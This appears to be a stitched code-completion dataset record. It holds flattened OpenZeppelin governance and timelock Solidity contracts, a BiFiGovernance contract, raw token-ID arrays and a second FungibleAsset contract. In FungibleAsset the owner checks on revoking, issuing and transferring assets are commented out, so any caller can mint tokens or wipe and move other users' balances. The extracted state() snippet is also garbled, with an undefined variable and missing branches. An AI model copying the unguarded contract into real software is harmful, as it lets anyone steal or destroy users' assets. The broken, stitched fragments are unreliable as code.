pragma solidity ^0.8.0; /** * @dev Extension of {Governor} for voting weight extraction from an {ERC20Votes} token. * * _Available since v4.3._ */ abstract contract GovernorVotes is Governor { ERC20Votes public immutable token; constructor(ERC20Votes tokenAddress) { token = tokenAddress; } /** * Read the voting weight from the token's built in snapshot mechanism (see {IGovernor-getVotes}). */ function getVotes(address account, uint256 blockNumber) public view virtual override returns (uint256) { return token.getPastVotes(account, blockNumber); } } // File @openzeppelin/contracts/governance/extensions/[email protected] pragma solidity ^0.8.0; /** * @dev Extension of {Governor} for voting weight extraction from an {ERC20Votes} token and a quorum expressed as a * fraction of the total supply. * * _Available since v4.3._ */ abstract contract GovernorVotesQuorumFraction is GovernorVotes { uint256 private _quorumNumerator; event QuorumNumeratorUpdated(uint256 oldQuorumNumerator, uint256 newQuorumNumerator); constructor(uint256 quorumNumeratorValue) { _updateQuorumNumerator(quorumNumeratorValue); } function quorumNumerator() public view virtual returns (uint256) { return _quorumNumerator; } function quorumDenominator() public view virtual returns (uint256) { return 100; } function quorum(uint256 blockNumber) public view virtual override returns (uint256) { return (token.getPastTotalSupply(blockNumber) * quorumNumerator()) / quorumDenominator(); } function updateQuorumNumerator(uint256 newQuorumNumerator) external virtual onlyGovernance { _updateQuorumNumerator(newQuorumNumerator); } function _updateQuorumNumerator(uint256 newQuorumNumerator) internal virtual { require( newQuorumNumerator <= quorumDenominator(), "GovernorVotesQuorumFraction: quorumNumerator over quorumDenominator" ); uint256 oldQuorumNumerator = _quorumNumerator; _quorumNumerator = newQuorumNumerator; emit QuorumNumeratorUpdated(oldQuorumNumerator, newQuorumNumerator); } } // File @openzeppelin/contracts/governance/extensions/[email protected] pragma solidity ^0.8.0; /** * @dev Extension of the {IGovernor} for timelock supporting modules. * * _Available since v4.3._ */ abstract contract IGovernorTimelock is IGovernor { event ProposalQueued(uint256 proposalId, uint256 eta); function timelock() public view virtual returns (address); function proposalEta(uint256 proposalId) public view virtual returns (uint256); function queue( address[] memory targets, uint256[] memory values, bytes[] memory calldatas, bytes32 descriptionHash ) public virtual returns (uint256 proposalId); } // File @openzeppelin/contracts/access/[email protected] pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // File @openzeppelin/contracts/utils/[email protected] pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts/access/[email protected] pragma solidity ^0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File @openzeppelin/contracts/governance/[email protected] pragma solidity ^0.8.0; /** * @dev Contract module which acts as a timelocked controller. When set as the * owner of an `Ownable` smart contract, it enforces a timelock on all * `onlyOwner` maintenance operations. This gives time for users of the * controlled contract to exit before a potentially dangerous maintenance * operation is applied. * * By default, this contract is self administered, meaning administration tasks * have to go through the timelock process. The proposer (resp executor) role * is in charge of proposing (resp executing) operations. A common use case is * to position this {TimelockController} as the owner of a smart contract, with * a multisig or a DAO as the sole proposer. * * _Available since v3.3._ */ contract TimelockController is AccessControl { bytes32 public constant TIMELOCK_ADMIN_ROLE = keccak256("TIMELOCK_ADMIN_ROLE"); bytes32 public constant PROPOSER_ROLE = keccak256("PROPOSER_ROLE"); bytes32 public constant EXECUTOR_ROLE = keccak256("EXECUTOR_ROLE"); uint256 internal constant _DONE_TIMESTAMP = uint256(1); mapping(bytes32 => uint256) private _timestamps; uint256 private _minDelay; /** * @dev Emitted when a call is scheduled as part of operation `id`. */ event CallScheduled( bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data, bytes32 predecessor, uint256 delay ); /** * @dev Emitted when a call is performed as part of operation `id`. */ event CallExecuted(bytes32 indexed id, uint256 indexed index, address target, uint256 value, bytes data); /** * @dev Emitted when operation `id` is cancelled. */ event Cancelled(bytes32 indexed id); /** * @dev Emitted when the minimum delay for future operations is modified. */ event MinDelayChange(uint256 oldDuration, uint256 newDuration); /** * @dev Initializes the contract with a given `minDelay`. */ constructor( uint256 minDelay, address[] memory proposers, address[] memory executors ) { _setRoleAdmin(TIMELOCK_ADMIN_ROLE, TIMELOCK_ADMIN_ROLE); _setRoleAdmin(PROPOSER_ROLE, TIMELOCK_ADMIN_ROLE); _setRoleAdmin(EXECUTOR_ROLE, TIMELOCK_ADMIN_ROLE); // deployer + self administration _setupRole(TIMELOCK_ADMIN_ROLE, _msgSender()); _setupRole(TIMELOCK_ADMIN_ROLE, address(this)); // register proposers for (uint256 i = 0; i < proposers.length; ++i) { _setupRole(PROPOSER_ROLE, proposers[i]); } // register executors for (uint256 i = 0; i < executors.length; ++i) { _setupRole(EXECUTOR_ROLE, executors[i]); } _minDelay = minDelay; emit MinDelayChange(0, minDelay); } /** * @dev Modifier to make a function callable only by a certain role. In * addition to checking the sender's role, `address(0)` 's role is also * considered. Granting a role to `address(0)` is equivalent to enabling * this role for everyone. */ modifier onlyRoleOrOpenRole(bytes32 role) { if (!hasRole(role, address(0))) { _checkRole(role, _msgSender()); } _; } /** * @dev Contract might receive/hold ETH as part of the maintenance process. */ receive() external payable {} /** * @dev Returns whether an id correspond to a registered operation. This * includes both Pending, Ready and Done operations. */ function isOperation(bytes32 id) public view virtual returns (bool pending) { return getTimestamp(id) > 0; } /** * @dev Returns whether an operation is pending or not. */ function isOperationPending(bytes32 id) public view virtual returns (bool pending) { return getTimestamp(id) > _DONE_TIMESTAMP; } /** * @dev Returns whether an operation is ready or not. */ function isOperationReady(bytes32 id) public view virtual returns (bool ready) { uint256 timestamp = getTimestamp(id); return timestamp > _DONE_TIMESTAMP && timestamp <= block.timestamp; } /** * @dev Returns whether an operation is done or not. */ function isOperationDone(bytes32 id) public view virtual returns (bool done) { return getTimestamp(id) == _DONE_TIMESTAMP; } /** * @dev Returns the timestamp at with an operation becomes ready (0 for * unset operations, 1 for done operations). */ function getTimestamp(bytes32 id) public view virtual returns (uint256 timestamp) { return _timestamps[id]; } /** * @dev Returns the minimum delay for an operation to become valid. * * This value can be changed by executing an operation that calls `updateDelay`. */ function getMinDelay() public view virtual returns (uint256 duration) { return _minDelay; } /** * @dev Returns the identifier of an operation containing a single * transaction. */ function hashOperation( address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt ) public pure virtual returns (bytes32 hash) { return keccak256(abi.encode(target, value, data, predecessor, salt)); } /** * @dev Returns the identifier of an operation containing a batch of * transactions. */ function hashOperationBatch( address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt ) public pure virtual returns (bytes32 hash) { return keccak256(abi.encode(targets, values, datas, predecessor, salt)); } /** * @dev Schedule an operation containing a single transaction. * * Emits a {CallScheduled} event. * * Requirements: * * - the caller must have the 'proposer' role. */ function schedule( address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt, uint256 delay ) public virtual onlyRole(PROPOSER_ROLE) { bytes32 id = hashOperation(target, value, data, predecessor, salt); _schedule(id, delay); emit CallScheduled(id, 0, target, value, data, predecessor, delay); } /** * @dev Schedule an operation containing a batch of transactions. * * Emits one {CallScheduled} event per transaction in the batch. * * Requirements: * * - the caller must have the 'proposer' role. */ function scheduleBatch( address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt, uint256 delay ) public virtual onlyRole(PROPOSER_ROLE) { require(targets.length == values.length, "TimelockController: length mismatch"); require(targets.length == datas.length, "TimelockController: length mismatch"); bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt); _schedule(id, delay); for (uint256 i = 0; i < targets.length; ++i) { emit CallScheduled(id, i, targets[i], values[i], datas[i], predecessor, delay); } } /** * @dev Schedule an operation that is to becomes valid after a given delay. */ function _schedule(bytes32 id, uint256 delay) private { require(!isOperation(id), "TimelockController: operation already scheduled"); require(delay >= getMinDelay(), "TimelockController: insufficient delay"); _timestamps[id] = block.timestamp + delay; } /** * @dev Cancel an operation. * * Requirements: * * - the caller must have the 'proposer' role. */ function cancel(bytes32 id) public virtual onlyRole(PROPOSER_ROLE) { require(isOperationPending(id), "TimelockController: operation cannot be cancelled"); delete _timestamps[id]; emit Cancelled(id); } /** * @dev Execute an (ready) operation containing a single transaction. * * Emits a {CallExecuted} event. * * Requirements: * * - the caller must have the 'executor' role. */ function execute( address target, uint256 value, bytes calldata data, bytes32 predecessor, bytes32 salt ) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) { bytes32 id = hashOperation(target, value, data, predecessor, salt); _beforeCall(predecessor); _call(id, 0, target, value, data); _afterCall(id); } /** * @dev Execute an (ready) operation containing a batch of transactions. * * Emits one {CallExecuted} event per transaction in the batch. * * Requirements: * * - the caller must have the 'executor' role. */ function executeBatch( address[] calldata targets, uint256[] calldata values, bytes[] calldata datas, bytes32 predecessor, bytes32 salt ) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) { require(targets.length == values.length, "TimelockController: length mismatch"); require(targets.length == datas.length, "TimelockController: length mismatch"); bytes32 id = hashOperationBatch(targets, values, datas, predecessor, salt); _beforeCall(predecessor); for (uint256 i = 0; i < targets.length; ++i) { _call(id, i, targets[i], values[i], datas[i]); } _afterCall(id); } /** * @dev Checks before execution of an operation's calls. */ function _beforeCall(bytes32 predecessor) private view { require(predecessor == bytes32(0) || isOperationDone(predecessor), "TimelockController: missing dependency"); } /** * @dev Checks after execution of an operation's calls. */ function _afterCall(bytes32 id) private { require(isOperationReady(id), "TimelockController: operation is not ready"); _timestamps[id] = _DONE_TIMESTAMP; } /** * @dev Execute an operation's call. * * Emits a {CallExecuted} event. */ function _call( bytes32 id, uint256 index, address target, uint256 value, bytes calldata data ) private { (bool success, ) = target.call{value: value}(data); require(success, "TimelockController: underlying transaction reverted"); emit CallExecuted(id, index, target, value, data); } /** * @dev Changes the minimum timelock duration for future operations. * * Emits a {MinDelayChange} event. * * Requirements: * * - the caller must be the timelock itself. This can only be achieved by scheduling and later executing * an operation where the timelock is the target and the data is the ABI-encoded call to this function. */ function updateDelay(uint256 newDelay) external virtual { require(msg.sender == address(this), "TimelockController: caller must be timelock"); emit MinDelayChange(_minDelay, newDelay); _minDelay = newDelay; } } // File @openzeppelin/contracts/governance/extensions/[email protected] pragma solidity ^0.8.0; /** * @dev Extension of {Governor} that binds the execution process to an instance of {TimelockController}. This adds a * delay, enforced by the {TimelockController} to all successful proposal (in addition to the voting duration). The * {Governor} needs the proposer (an ideally the executor) roles for the {Governor} to work properly. * * Using this model means the proposal will be operated by the {TimelockController} and not by the {Governor}. Thus, * the assets and permissions must be attached to the {TimelockController}. Any asset sent to the {Governor} will be * inaccessible. * * _Available since v4.3._ */ abstract contract GovernorTimelockControl is IGovernorTimelock, Governor { TimelockController private _timelock; mapping(uint256 => bytes32) private _timelockIds; /** * @dev Emitted when the timelock controller used for proposal execution is modified. */ event TimelockChange(address oldTimelock, address newTimelock); /** * @dev Set the timelock. */ constructor(TimelockController timelockAddress) { _updateTimelock(timelockAddress); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, Governor) returns (bool) { return interfaceId == type(IGovernorTimelock).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Overriden version of the {Governor-state} function with added support for the `Queued` status. */ function state(uint256 proposalId) public view virtual override(IGovernor, Governor) returns (ProposalState) { ProposalState status = super.state(proposalId); if (status != ProposalState.Succeeded) { return status; } // core tracks execution, so we just have to check if successful proposal have been queued. bytes32 queueid = _timelockIds[proposalId]; if (queueid == bytes32(0)) { return status; } else if (_timelock.isOperationDone(queueid)) { return ProposalState.Executed; } else { return ProposalState.Queued; } } /** * @dev Public accessor to check the address of the timelock */ function timelock() public view virtual override returns (address) { return address(_timelock); } /** * @dev Public accessor to check the eta of a queued proposal */ function proposalEta(uint256 proposalId) public view virtual override returns (uint256) { uint256 eta = _timelock.getTimestamp(_timelockIds[proposalId]); return eta == 1 ? 0 : eta; // _DONE_TIMESTAMP (1) should be replaced with a 0 value } /** * @dev Function to queue a proposal to the timelock. */ function queue( address[] memory targets, uint256[] memory values, bytes[] memory calldatas, bytes32 descriptionHash ) public virtual override returns (uint256) { uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash); require(state(proposalId) == ProposalState.Succeeded, "Governor: proposal not successful"); uint256 delay = _timelock.getMinDelay(); _timelockIds[proposalId] = _timelock.hashOperationBatch(targets, values, calldatas, 0, descriptionHash); _timelock.scheduleBatch(targets, values, calldatas, 0, descriptionHash, delay); emit ProposalQueued(proposalId, block.timestamp + delay); return proposalId; } /** * @dev Overriden execute function that run the already queued proposal through the timelock. */ function _execute( uint256, /* proposalId */ address[] memory targets, uint256[] memory values, bytes[] memory calldatas, bytes32 descriptionHash ) internal virtual override { _timelock.executeBatch{value: msg.value}(targets, values, calldatas, 0, descriptionHash); } /** * @dev Overriden version of the {Governor-_cancel} function to cancel the timelocked proposal if it as already * been queued. */ function _cancel( address[] memory targets, uint256[] memory values, bytes[] memory calldatas, bytes32 descriptionHash ) internal virtual override returns (uint256) { uint256 proposalId = super._cancel(targets, values, calldatas, descriptionHash); if (_timelockIds[proposalId] != 0) { _timelock.cancel(_timelockIds[proposalId]); delete _timelockIds[proposalId]; } return proposalId; } /** * @dev Address through which the governor executes action. In this case, the timelock. */ function _executor() internal view virtual override returns (address) { return address(_timelock); } /** * @dev Public endpoint to update the underlying timelock instance. Restricted to the timelock itself, so updates * must be proposed, scheduled and executed using the {Governor} workflow. */ function updateTimelock(TimelockController newTimelock) external virtual onlyGovernance { _updateTimelock(newTimelock); } function _updateTimelock(TimelockController newTimelock) private { emit TimelockChange(address(_timelock), address(newTimelock)); _timelock = newTimelock; } } // File contracts/BiFiGovernance.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; contract BiFiGovernance is Governor, GovernorProposalThreshold, GovernorCountingSimple, GovernorVotes, GovernorVotesQuorumFraction, GovernorTimelockControl { address public owner; address public pendingOwner; uint256 _votingDelay = 1; // 1 block uint256 _votingPeriod = 45818; // 1 week uint256 _proposalThreshold = 1000000e18; modifier onlyOwner() { require(msg.sender == owner, "only Owner"); _; } function transferOwnership(address _nextOwner) external onlyOwner { pendingOwner = _nextOwner; } function acceptOwnership() external { address sender = msg.sender; require(sender == pendingOwner, "pendingOwner"); owner = sender; } constructor(ERC20Votes _token, TimelockController _timelock) Governor("BiFiGovernor") GovernorVotes(_token) GovernorVotesQuorumFraction(60) GovernorTimelockControl(_timelock) { owner = msg.sender; } function votingDelay() public view override returns (uint256) { return _votingDelay; } function votingPeriod() public view override returns (uint256) { return _votingPeriod; } function proposalThreshold() public view override returns (uint256) { return _proposalThreshold; } function setVotingDelay(uint256 newVotingDelay) external onlyOwner { _votingDelay = newVotingDelay; } function setVotingPeriod(uint256 newVotingPeriod) external onlyOwner { _votingPeriod = newVotingPeriod; } function setProposalThreshold(uint256 newProposalThreshold) external onlyOwner { _proposalThreshold = newProposalThreshold; } function updateQuorumNumerator(uint256 newQuorumNumerator) external virtual override onlyOwner { _updateQuorumNumerator(newQuorumNumerator); } function quorum(uint256 blockNumber) public view override(IGovernor, GovernorVotesQuorumFraction) returns (uint256) { return super.quorum(blockNumber); } function getVotes(address account, uint256 blockNumber) public view override(IGovernor, GovernorVotes) returns (uint256) { return super.getVotes(account, blockNumber); } function state(uint256 proposalId) public view override(Governor, GovernorTimelockControl) returns (ProposalState) { return super.state(proposalId); } function propose(address[] memory targets, uint256[] memory values, bytes[] memory calldatas, string memory description) public override(Governor, GovernorProposalThreshold, IGovernor) returns (uint256) { return super.propose(targets, values, calldatas, description); } function cancel(address[] memory targets, uint256[] memory values, bytes[] memory calldatas, bytes32 descriptionHash) public payable onlyOwner { _cancel(targets, values, calldatas, descriptionHash); } function _execute(uint256 proposalId, address[] memory targets, uint256[] memory values, bytes[] memory calldatas, bytes32 descriptionHash) internal override(Governor, GovernorTimelockControl) { super._execute(proposalId, targets, values, calldatas, descriptionHash); } function _cancel(address[] memory targets, uint256[] memory values, bytes[] memory calldatas, bytes32 descriptionHash) internal override(Governor, GovernorTimelockControl) returns (uint256) { return super._cancel(targets, values, calldatas, descriptionHash); } function _executor() internal view override(Governor, GovernorTimelockControl) returns (address) { return super._executor(); } function supportsInterface(bytes4 interfaceId) public view override(Governor, GovernorTimelockControl) returns (bool) { return super.supportsInterface(interfaceId); } }
* @dev Overriden version of the {Governor-state} function with added support for the `Queued` status./
function state(uint256 proposalId) public view virtual override(IGovernor, Governor) returns (ProposalState) { ProposalState status = super.state(proposalId); if (status != ProposalState.Succeeded) { return status; } if (queueid == bytes32(0)) { return status; return ProposalState.Executed; return ProposalState.Queued; } }
2,013,730
[ 1, 22042, 17951, 1177, 434, 326, 288, 43, 1643, 29561, 17, 2019, 97, 445, 598, 3096, 2865, 364, 326, 1375, 21039, 68, 1267, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 919, 12, 11890, 5034, 14708, 548, 13, 1071, 1476, 5024, 3849, 12, 3047, 1643, 29561, 16, 611, 1643, 29561, 13, 1135, 261, 14592, 1119, 13, 288, 203, 3639, 19945, 1119, 1267, 273, 2240, 18, 2019, 12, 685, 8016, 548, 1769, 203, 203, 3639, 309, 261, 2327, 480, 19945, 1119, 18, 30500, 13, 288, 203, 5411, 327, 1267, 31, 203, 3639, 289, 203, 203, 3639, 309, 261, 4000, 350, 422, 1731, 1578, 12, 20, 3719, 288, 203, 5411, 327, 1267, 31, 203, 5411, 327, 19945, 1119, 18, 23839, 31, 203, 5411, 327, 19945, 1119, 18, 21039, 31, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; // Interface for Asset Registries interface AssetRegisterInterface { function issueAssets(address _recipient, uint _amount) external; function transfer(address _sender, address _recipient, uint _amount) external; function getBalance(address _user) external view returns (uint); } contract FungibleAsset is AssetRegisterInterface { address registryOwner; mapping (address => uint) balances; event AssetRegisterEvent(address sender, address recipient, uint amount, uint balance_sender, uint balance_recipient); constructor(address _owner) public { registryOwner = _owner; } function revokeAllAssets(address _recipient) public { // if (msg.sender != registryOwner) { // revert("Assets can only be revoked by the registry owner"); // } // uint _amount = balances[_recipient]; balances[_recipient] = 0; emit AssetRegisterEvent(_recipient, 0x00, 0, 0, 0); } function issueAssets(address _recipient, uint _amount) public { // if (msg.sender != registryOwner) { // revert("Assets can only be issued by the registry owner"); // } balances[_recipient] += _amount; emit AssetRegisterEvent(0x00, _recipient, _amount, 0, balances[_recipient]); } function transfer(address _sender, address _recipient, uint _amount) public { // if (msg.sender != registryOwner) { // revert("Assets can only be transferred by the registry owner"); // } if (balances[_sender] < _amount) { revert("Not enough balance"); } balances[_sender] -= _amount; balances[_recipient] += _amount; emit AssetRegisterEvent(_sender, _recipient, _amount,balances[_sender],balances[_recipient]); } function getBalance(address _user) public view returns (uint){ return balances[_user]; } }
if (msg.sender != registryOwner) { revert("Assets can only be transferred by the registry owner"); }
function transfer(address _sender, address _recipient, uint _amount) public { if (balances[_sender] < _amount) { revert("Not enough balance"); } balances[_sender] -= _amount; balances[_recipient] += _amount; emit AssetRegisterEvent(_sender, _recipient, _amount,balances[_sender],balances[_recipient]); }
13,000,000
